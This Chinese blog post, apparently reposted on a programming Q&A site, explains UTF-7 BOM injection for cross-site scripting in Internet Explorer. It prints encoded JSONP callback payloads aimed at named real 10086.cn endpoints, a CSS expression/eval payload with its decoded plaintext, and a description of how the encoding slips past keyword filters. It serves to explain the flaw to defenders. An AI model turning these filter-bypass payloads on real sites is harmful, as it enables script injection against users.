当前位置: 代码迷 >> Web前端 >> utf7-BOM 字符串流入
  详细解决方案

utf7-BOM 字符串流入

热度:496   发布时间:2012-09-17 12:06:51.0
utf7-BOM 字符串注入

?

?

?

?

最近公司忽然爆出一些安全漏洞,且会员引起了金钱的损失。于是大家都忙于找自己的安全漏洞。由于之前接触最多的是CSRF/CSS sql注入之类的攻击,所以这些都是保证的,但这次从安全同学那里第一次听说利用UTF-7编码结合XSS去攻击的安全漏洞,搜索了个海枯石烂,总算搞懂了

?

?

?

网上找到的实例:


http://music.10086.cn/newweb/jsp/v3_search/getDefaultKeywords.jsp?callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAJwA

4ADAAcABlAG4AdABlAHMAdAAnACkAOwA8AC8AcwBjAHIAaQBwAHQAPgA8AC8AYgBvAGQAeQA

+ADwALwBoAHQAbQA+A-

http://www.js.10086.cn/activity/tranAppOper.jspx?callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAJw

BkAGEAbgBnAGQAYQBuAGcAJwApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAP

gA8AC8AaAB0AG0APg-

http://www.js.10086.cn/activity/getSdCode.jspx?callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAJ

wBkAGEAbgBnAGQAYQBuAGcAJwApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHk

APgA8AC8AaAB0AG0APg-

貌似目前还没有web扫描器支持json注射的检查?

还有用于css的利用:

本机建一个a.css

+/v8
body{background:#FFFFFF;font-family:’+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAoACgAdwBpAG4AZABvAHcAL

gByAHIAcgA9AD0AMQApAD8AJwAnADoAZQB2AGEAbAAoACcAcgByAHIAPQAxADsAZQB2AGE

AbAAoAGEAbABlAHIAdAAoAC8ASABhAHAAcAB5ACAATgBlAHcAIABZAGUAYQByACEAIAB0A

GgAeAAgAG0AYQByAGkAbwAuAC8AKQApADsAJwApACkAOwBmAG8AbgB0AC0AZgBhAG0AaQ

BsAHkAOgAnA-’;}

同目录下再建一个test.htm

<STYLE>@import’a.css’;</STYLE>

用ie访问test.htm即可弹窗。通过以上实例来说,utf7-BOM string injection主要的意义在于bypass filter,比如上面那个a.css明文是:

body{
font-family:
‘x’;xss:expression((window.rrr==1)?”:eval(‘rrr=1;eval(alert(/Happy New Year XXX/));’));font-family:”;
}

因为对expression/eval/alert/javascript之类的关键词太过招摇,容易被过滤,所以hacker想到通过编码的方式来绕过诸如sanitation、filter的安全检测措施。utf-7 BOM 通过在文件的开头(这就是为什么添加空格后失效的原因)注明 +/v8 / +/v9 等关键字的方式告诉浏览器以何种character解析文件。



原理描述:

微软浏览器在解析网页等内容时,判断字符集的方式上存在问题,根据RFC标准上应该header头设置优先于本 地的meta和bom等其他方式识别出的字符集,但是微软ie会忽略掉其他设置的字符集而以Bom判断出的字符集优先;一般字符集都不会有什么问题,但是 因为utf7的特殊性,他的Bom为+/v8等,完全是合法字符,所以一旦使用utf-7字符集的时候就可能导致一些基于文本过滤的规则失效,譬如典型的 过滤<>”等等;由于bom的特殊性,他要求在文件的头几个字节,所以应用空间比较有限,目前被安全人员披露的独立存储css时导致的问题, 应用如百度空间等,以及被广泛使用的json,json的callback一般都是处于返回请求的头几个字节,json被广泛使用并且能够被控制 callback而没有白名单限制的不在少数,本来json也不会导致严重的安全问题,但是国内互联网厂商在技术严谨方面比较缺乏,http协议里的 Content-Type决定了ie处理内容的方式,本来按照规范,json的返回头应该设置为Content-Type: text/javascript;,这样ie在处理这个请求的时候就会知道这是个json请求,而不会去做其他的解析,但是在国内的厂商里头,大家基本无 视该选项,而一般都是默认设置为Content-Type: text/html,于是导致大量的xss。



具体参考

1 搜索Paper <<XSS Lightsabre techniques>> [最原始的引起注意的utf-7的利用]

2 http://seclists.org/fulldisclosure/2011/Feb/199 [utf-7 json注射利用]

3./Article/201102/83168.html [可以看到广大群众关于此问题的讨论]

4 http://www.worldlingo.com/ma/enwiki/zh_tw/Byte-order_mark [bom字符集]

5 /Article/201103/85662.html[最近那个BOM及浏览器charset识别]

?

  相关解决方案